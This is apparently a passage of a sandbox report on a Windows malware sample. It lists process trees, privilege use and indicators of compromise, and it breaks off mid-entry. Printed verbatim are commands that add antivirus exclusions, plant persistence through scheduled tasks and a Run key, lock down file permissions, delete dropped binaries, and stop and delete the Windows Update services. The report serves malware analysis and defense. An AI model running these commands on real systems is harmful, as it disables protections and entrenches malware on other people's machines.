3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3172 Explorer.EXE
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

76f2c560339aa08f67968ff5ff675e52c1be7c654a803096fa078af9878af467.exe34DE.exe

pid process

4768 76f2c560339aa08f67968ff5ff675e52c1be7c654a803096fa078af9878af467.exe
2132 34DE.exe

pid	process
3172	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEpowershell.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeDebugPrivilege	4260	powershell.exe
Token: SeDebugPrivilege	1900	powershell.exe
Token: SeDebugPrivilege	3508	powershell.exe
Token: SeShutdownPrivilege	1088	powercfg.exe
Token: SeCreatePagefilePrivilege	1088	powercfg.exe
Token: SeShutdownPrivilege	1696	powercfg.exe
Token: SeCreatePagefilePrivilege	1696	powercfg.exe
Token: SeShutdownPrivilege	3172	Explorer.EXE
Token: SeCreatePagefilePrivilege	3172	Explorer.EXE
Token: SeShutdownPrivilege	3208	powercfg.exe
Token: SeCreatePagefilePrivilege	3208	powercfg.exe
Token: SeShutdownPrivilege	3636	powercfg.exe
Token: SeCreatePagefilePrivilege	3636	powercfg.exe
Token: SeIncreaseQuotaPrivilege	3508	powershell.exe
Token: SeSecurityPrivilege	3508	powershell.exe
Token: SeTakeOwnershipPrivilege	3508	powershell.exe
Token: SeLoadDriverPrivilege	3508	powershell.exe
Token: SeSystemProfilePrivilege	3508	powershell.exe
Token: SeSystemtimePrivilege	3508	powershell.exe
Token: SeProfSingleProcessPrivilege	3508	powershell.exe
Token: SeIncBasePriorityPrivilege	3508	powershell.exe
Token: SeCreatePagefilePrivilege	3508	powershell.exe
Token: SeBackupPrivilege	3508	powershell.exe
Token: SeRestorePrivilege	3508	powershell.exe
Token: SeShutdownPrivilege	3508	powershell.exe
Token: SeDebugPrivilege	3508	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

rundll32.exe

pid process

1076 rundll32.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Explorer.EXE

pid process

3172 Explorer.EXE
3172 Explorer.EXE

pid	process
1076	rundll32.exe

pid	process
3172	Explorer.EXE
3172	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Explorer.EXE1405.exe1405.exe1405.exe2DF6.exe302A.exe2DF6.exe

description	pid	process	target process
PID 3172 wrote to memory of 4532	3172	Explorer.EXE	1405.exe
PID 3172 wrote to memory of 4532	3172	Explorer.EXE	1405.exe
PID 3172 wrote to memory of 4532	3172	Explorer.EXE	1405.exe
PID 4532 wrote to memory of 1236	4532	1405.exe	1405.exe
PID 4532 wrote to memory of 1236	4532	1405.exe	1405.exe
PID 4532 wrote to memory of 1236	4532	1405.exe	1405.exe
PID 4532 wrote to memory of 1236	4532	1405.exe	1405.exe
PID 4532 wrote to memory of 1236	4532	1405.exe	1405.exe
PID 4532 wrote to memory of 1236	4532	1405.exe	1405.exe
PID 4532 wrote to memory of 1236	4532	1405.exe	1405.exe
PID 4532 wrote to memory of 1236	4532	1405.exe	1405.exe
PID 4532 wrote to memory of 1236	4532	1405.exe	1405.exe
PID 4532 wrote to memory of 1236	4532	1405.exe	1405.exe
PID 1236 wrote to memory of 4580	1236	1405.exe	icacls.exe
PID 1236 wrote to memory of 4580	1236	1405.exe	icacls.exe
PID 1236 wrote to memory of 4580	1236	1405.exe	icacls.exe
PID 1236 wrote to memory of 4748	1236	1405.exe	1405.exe
PID 1236 wrote to memory of 4748	1236	1405.exe	1405.exe
PID 1236 wrote to memory of 4748	1236	1405.exe	1405.exe
PID 4748 wrote to memory of 4964	4748	1405.exe	1405.exe
PID 4748 wrote to memory of 4964	4748	1405.exe	1405.exe
PID 4748 wrote to memory of 4964	4748	1405.exe	1405.exe
PID 4748 wrote to memory of 4964	4748	1405.exe	1405.exe
PID 4748 wrote to memory of 4964	4748	1405.exe	1405.exe
PID 4748 wrote to memory of 4964	4748	1405.exe	1405.exe
PID 4748 wrote to memory of 4964	4748	1405.exe	1405.exe
PID 4748 wrote to memory of 4964	4748	1405.exe	1405.exe
PID 4748 wrote to memory of 4964	4748	1405.exe	1405.exe
PID 4748 wrote to memory of 4964	4748	1405.exe	1405.exe
PID 3172 wrote to memory of 1172	3172	Explorer.EXE	2DF6.exe
PID 3172 wrote to memory of 1172	3172	Explorer.EXE	2DF6.exe
PID 3172 wrote to memory of 1172	3172	Explorer.EXE	2DF6.exe
PID 3172 wrote to memory of 1324	3172	Explorer.EXE	302A.exe
PID 3172 wrote to memory of 1324	3172	Explorer.EXE	302A.exe
PID 3172 wrote to memory of 1324	3172	Explorer.EXE	302A.exe
PID 1172 wrote to memory of 1308	1172	2DF6.exe	2DF6.exe
PID 1172 wrote to memory of 1308	1172	2DF6.exe	2DF6.exe
PID 1172 wrote to memory of 1308	1172	2DF6.exe	2DF6.exe
PID 1172 wrote to memory of 1308	1172	2DF6.exe	2DF6.exe
PID 1172 wrote to memory of 1308	1172	2DF6.exe	2DF6.exe
PID 1172 wrote to memory of 1308	1172	2DF6.exe	2DF6.exe
PID 1172 wrote to memory of 1308	1172	2DF6.exe	2DF6.exe
PID 1172 wrote to memory of 1308	1172	2DF6.exe	2DF6.exe
PID 1172 wrote to memory of 1308	1172	2DF6.exe	2DF6.exe
PID 1172 wrote to memory of 1308	1172	2DF6.exe	2DF6.exe
PID 1324 wrote to memory of 3420	1324	302A.exe	302A.exe
PID 1324 wrote to memory of 3420	1324	302A.exe	302A.exe
PID 1324 wrote to memory of 3420	1324	302A.exe	302A.exe
PID 1324 wrote to memory of 3420	1324	302A.exe	302A.exe
PID 1324 wrote to memory of 3420	1324	302A.exe	302A.exe
PID 1324 wrote to memory of 3420	1324	302A.exe	302A.exe
PID 1324 wrote to memory of 3420	1324	302A.exe	302A.exe
PID 1324 wrote to memory of 3420	1324	302A.exe	302A.exe
PID 1324 wrote to memory of 3420	1324	302A.exe	302A.exe
PID 1324 wrote to memory of 3420	1324	302A.exe	302A.exe
PID 1308 wrote to memory of 4624	1308	2DF6.exe	2DF6.exe
PID 1308 wrote to memory of 4624	1308	2DF6.exe	2DF6.exe
PID 1308 wrote to memory of 4624	1308	2DF6.exe	2DF6.exe
PID 3172 wrote to memory of 2132	3172	Explorer.EXE	34DE.exe
PID 3172 wrote to memory of 2132	3172	Explorer.EXE	34DE.exe
PID 3172 wrote to memory of 2132	3172	Explorer.EXE	34DE.exe
PID 3172 wrote to memory of 4984	3172	Explorer.EXE	build3.exe
PID 3172 wrote to memory of 4984	3172	Explorer.EXE	build3.exe
PID 3172 wrote to memory of 4984	3172	Explorer.EXE	build3.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3172
- C:\Users\Admin\AppData\Local\Temp\76f2c560339aa08f67968ff5ff675e52c1be7c654a803096fa078af9878af467.exe
  "C:\Users\Admin\AppData\Local\Temp\76f2c560339aa08f67968ff5ff675e52c1be7c654a803096fa078af9878af467.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:4768
- C:\Users\Admin\AppData\Local\Temp\1405.exe
  C:\Users\Admin\AppData\Local\Temp\1405.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4532
- - C:\Users\Admin\AppData\Local\Temp\1405.exe
    C:\Users\Admin\AppData\Local\Temp\1405.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:1236
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\f97b8a70-87f6-418c-99db-f70d264de5a9" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:4580
  - - C:\Users\Admin\AppData\Local\Temp\1405.exe
      "C:\Users\Admin\AppData\Local\Temp\1405.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4748
    - - C:\Users\Admin\AppData\Local\Temp\1405.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1405.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4964
      - C:\Users\Admin\AppData\Local\5ad1a5aa-8b07-4ff7-8a1e-c8a57e46e811\build2.exe
        
        "C:\Users\Admin\AppData\Local\5ad1a5aa-8b07-4ff7-8a1e-c8a57e46e811\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2112
        
        C:\Users\Admin\AppData\Local\5ad1a5aa-8b07-4ff7-8a1e-c8a57e46e811\build2.exe
        
        "C:\Users\Admin\AppData\Local\5ad1a5aa-8b07-4ff7-8a1e-c8a57e46e811\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:3832
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\5ad1a5aa-8b07-4ff7-8a1e-c8a57e46e811\build2.exe" & exit
        8⤵
        
        PID:2656
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:2068
      - C:\Users\Admin\AppData\Local\5ad1a5aa-8b07-4ff7-8a1e-c8a57e46e811\build3.exe
        
        "C:\Users\Admin\AppData\Local\5ad1a5aa-8b07-4ff7-8a1e-c8a57e46e811\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:1400
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4392
- C:\Users\Admin\AppData\Local\Temp\2DF6.exe
  C:\Users\Admin\AppData\Local\Temp\2DF6.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1172
- - C:\Users\Admin\AppData\Local\Temp\2DF6.exe
    C:\Users\Admin\AppData\Local\Temp\2DF6.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1308
  - - C:\Users\Admin\AppData\Local\Temp\2DF6.exe
      "C:\Users\Admin\AppData\Local\Temp\2DF6.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:4624
    - - C:\Users\Admin\AppData\Local\Temp\2DF6.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2DF6.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1904
      - C:\Users\Admin\AppData\Local\3e7f73a5-106c-42e8-994c-da11acb6d750\build2.exe
        
        "C:\Users\Admin\AppData\Local\3e7f73a5-106c-42e8-994c-da11acb6d750\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:372
        
        C:\Users\Admin\AppData\Local\3e7f73a5-106c-42e8-994c-da11acb6d750\build2.exe
        
        "C:\Users\Admin\AppData\Local\3e7f73a5-106c-42e8-994c-da11acb6d750\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2848
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\3e7f73a5-106c-42e8-994c-da11acb6d750\build2.exe" & exit
        8⤵
        
        PID:2132
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:4468
      - C:\Users\Admin\AppData\Local\3e7f73a5-106c-42e8-994c-da11acb6d750\build3.exe
        
        "C:\Users\Admin\AppData\Local\3e7f73a5-106c-42e8-994c-da11acb6d750\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:1604
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:3208
- C:\Users\Admin\AppData\Local\Temp\302A.exe
  C:\Users\Admin\AppData\Local\Temp\302A.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1324
- - C:\Users\Admin\AppData\Local\Temp\302A.exe
    C:\Users\Admin\AppData\Local\Temp\302A.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3420
  - - C:\Users\Admin\AppData\Local\Temp\302A.exe
      "C:\Users\Admin\AppData\Local\Temp\302A.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:4972
    - - C:\Users\Admin\AppData\Local\Temp\302A.exe
        
        "C:\Users\Admin\AppData\Local\Temp\302A.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:984
      - C:\Users\Admin\AppData\Local\49f9b4eb-b061-4ead-9bd5-ee3793f0e5ff\build2.exe
        
        "C:\Users\Admin\AppData\Local\49f9b4eb-b061-4ead-9bd5-ee3793f0e5ff\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1184
        
        C:\Users\Admin\AppData\Local\49f9b4eb-b061-4ead-9bd5-ee3793f0e5ff\build2.exe
        
        "C:\Users\Admin\AppData\Local\49f9b4eb-b061-4ead-9bd5-ee3793f0e5ff\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2896
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\49f9b4eb-b061-4ead-9bd5-ee3793f0e5ff\build2.exe" & exit
        8⤵
        
        PID:3196
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:4976
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:3200
      - C:\Users\Admin\AppData\Local\49f9b4eb-b061-4ead-9bd5-ee3793f0e5ff\build3.exe
        
        "C:\Users\Admin\AppData\Local\49f9b4eb-b061-4ead-9bd5-ee3793f0e5ff\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:4984
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:1076
- C:\Users\Admin\AppData\Local\Temp\34DE.exe
  C:\Users\Admin\AppData\Local\Temp\34DE.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:2132
- C:\Users\Admin\AppData\Local\Temp\377F.exe
  C:\Users\Admin\AppData\Local\Temp\377F.exe
  2⤵
  PID:4984
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4984 -s 340
    3⤵
    - Program crash
    PID:2184
- C:\Users\Admin\AppData\Local\Temp\428C.exe
  C:\Users\Admin\AppData\Local\Temp\428C.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:3768
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3096
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      Executes dropped EXE
      PID:4936
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:4636
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:1116
- C:\Users\Admin\AppData\Local\Temp\4750.exe
  C:\Users\Admin\AppData\Local\Temp\4750.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:1480
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:828
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:2808
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:4988
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
        5⤵
        
        PID:4432
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:2232
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:R" /E
        6⤵
        
        PID:2900
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:N"
        6⤵
        
        PID:4060
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:2500
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:R" /E
        6⤵
        
        PID:2420
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:N"
        6⤵
        
        PID:4312
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:3768
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        6⤵
        Loads dropped DLL
        
        PID:2316
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2316 -s 648
        7⤵
        Program crash
        
        PID:3972
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:4224
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:2688
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:4404
- C:\Users\Admin\AppData\Local\Temp\E17E.exe
  C:\Users\Admin\AppData\Local\Temp\E17E.exe
  2⤵
  - Executes dropped EXE
  PID:632
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\Otpsrodoserw.dll,start
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Checks processor information in registry
    PID:2220
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 22403
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:1076
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 632 -s 412
    3⤵
    - Program crash
    PID:4844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3508
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4332
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1088
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1696
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3208
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3636
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:5096
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3932
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2700
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4624
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4764
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4976
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4368
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3200
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1580
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:2260
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1664
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:2832
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2692
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3140
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:5116
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4148
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1680
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2656
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:5028
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:408
- - C:\Windows\System32\reg.exe
